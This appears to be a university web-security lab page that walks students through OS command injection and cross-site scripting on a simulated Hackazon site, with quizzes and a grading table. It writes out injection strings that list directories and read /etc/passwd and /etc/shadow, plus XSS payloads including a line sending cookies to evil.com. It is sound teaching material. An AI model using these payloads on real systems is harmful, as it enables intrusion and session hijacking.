This lab covers two of the most critical and prevalent web vulnerabilities: OS Command Injection and Cross-Site Scripting (XSS). Both arise from insufficient input validation and have appeared in countless real-world breaches.
Work through 6 guided challenges using a simulated Hackazon vulnerable application. Each challenge awards up to 100 points.
CI-1Background: why command injection happens and how it works
CI-2Execute directory listing via injected OS command
CI-3Read sensitive system files (/etc/passwd, shadow)
XSS-1Reflected vs Stored XSS — concepts & classification
XSS-2Stored XSS: inject persistent JavaScript into the FAQ page
XSS-3Reflected XSS: steal session cookies via crafted link
⚠ All exercises run in this self-contained simulator. Do not attempt these techniques on systems you do not own.
CI-1
Command Injection — Concept & Setup
OS InjectionOWASP A03100 pts
★ 100 points — complete the quiz below to earn full marks
Background: The Hackazon My Documents page passes a user-supplied filename directly to the shell:
Because there is no sanitisation, an attacker can append shell metacharacters. The pipe ( | ) and semicolon ( ; ) are command separators in Unix. Injecting test|/bin/ls causes the server to run both commands.
🔍 Key Concept
Vulnerable URL: http://hackazon.jonesey.com.au/account/documents?page=terms.html
Inject by changing terms.html to test|/bin/ls
How this vulnerability arises
1
User navigates to /account/documents?page=terms.html
Server runs: shell_exec("cat documents/test|/bin/ls") — shell interprets | and runs ls
5
Output of /bin/ls rendered in browser — attacker sees the directory listing
Answer all three questions to unlock the next challenge.
Q1: Which character(s) can be used to chain/separate OS commands in a Unix shell?
Hashtag (#) — it starts a comment
Semicolon (;) or pipe (|) — they chain commands
Dollar sign ($) — it denotes a variable
Backslash (\) — escape character
Q2: What is the primary fix for OS command injection?
Encrypt the URL parameters
Use HTTPS instead of HTTP
Never pass user input to shell functions; use parameterised APIs with whitelisting
Hide the page parameter from the URL
Q3: In ?page=test|/bin/ls, which part is the injected command?
page= (the parameter name)
test (the dummy filename)
/bin/ls (the command after the pipe separator)
documents/ (the directory prefix)
🏆
CI-1 Complete! +100 ptsYou understand command injection. Now exploit it in practice.
CI-2
Command Injection — Directory Listing
Remote Code ExecutionHands-On100 pts
★ 100 points — inject commands to discover the server filesystem
Task: The simulated Hackazon page passes your page input directly to a shell. Inject Linux commands to explore the filesystem, then answer the lab questions.
• List current directory: test|/bin/ls
• Human-readable listing: test|/bin/ls -lh
• List root directory: test|/bin/ls /
• Show working path: test|/bin/pwd
• Show server user: test|whoami
CI-2 Complete! +100 ptsYou listed the server filesystem via a web form. Now read sensitive files.
CI-3
Command Injection — Reading System Files
Credential ExposureHands-On100 pts
★ 100 points — attempt to read /etc/passwd and /etc/shadow
Task: Using the same injection technique, attempt to read sensitive system files. /etc/passwd contains the user account list. /etc/shadow contains hashed passwords but is protected by file permissions.
CI-3 Complete! +100 ptsCommand injection is OWASP Top 10 #3. Fix: never pass user input to shell functions.
XSS-1
Cross-Site Scripting — Concepts
XSSOWASP A03100 pts
★ 100 points — answer the concept quiz
Cross-Site Scripting (XSS) occurs when a web application includes user-supplied data in its HTML output without proper encoding. Browsers trust all content from a server — injected JavaScript executes in the victim's context.
Reflected XSS: The script is in the URL — it bounces off the server into the response.
Stored XSS: The script is saved to the database — every future visitor executes it. Far more dangerous.
Attack flow — Stored XSS
1
Attacker submits <script>alert(document.cookie)</script> in a form
2
Server stores the raw string in the database without HTML-encoding
3
Victim visits the page — server echoes the stored string into HTML
4
Browser executes the <script> in the victim's session
5
Script reads document.cookie and sends it to the attacker — session hijacked
Q1: What distinguishes Stored XSS from Reflected XSS?
XSS-2 Complete! +100 ptsYou injected persistent JavaScript. Every visitor to that FAQ page would now execute your script.
XSS-3
Reflected XSS — Cookie Theft
Reflected XSSSession Hijack100 pts
★ 100 points — steal a session cookie via reflected XSS
Background: The Hackazon search page reflects the search term into the page without encoding. Inject JavaScript that reads document.cookie to expose the victim's session.
🔍 Step by Step
Step 1: Test basic XSS: <script>alert('XSS')</script> Step 2: Steal cookie: <script>alert(document.cookie)</script> Step 3: Real attack: new Image().src='http://evil.com/?c='+document.cookie
This is what document.cookie returns for a logged-in Hackazon user.
🏆
XSS-3 Complete! +100 ptsYou demonstrated a complete session-hijacking attack chain. In a real attack, this cookie gives the attacker full account access.
★
Lab Report & Score
CSE1CPR Lab 7 Part 2
🎖
FINAL SCORE
0
out of 600 points
Challenge
Topic
Max
Earned
Status
CI-1
Command Injection — Concept & Setup
100
0
—
CI-2
Directory Listing via Injection
100
0
—
CI-3
Reading System Files
100
0
—
XSS-1
XSS Concepts Quiz
100
0
—
XSS-2
Stored XSS — FAQ Injection
100
0
—
XSS-3
Reflected XSS & Cookie Theft
100
0
—
Total
600
0
—
Instructor Grading Guide
CI-2 & CI-3 — Award marks based on reflection quality. Students should identify correct commands, show actual output, and explain significance. XSS-2 & XSS-3 — Students should demonstrate payload execution (modal must fire) and show understanding of impact and defences. Full marks — Require both correct technical execution AND thoughtful written answers.
Post a Comment
Please do not enter any spam links in the comments...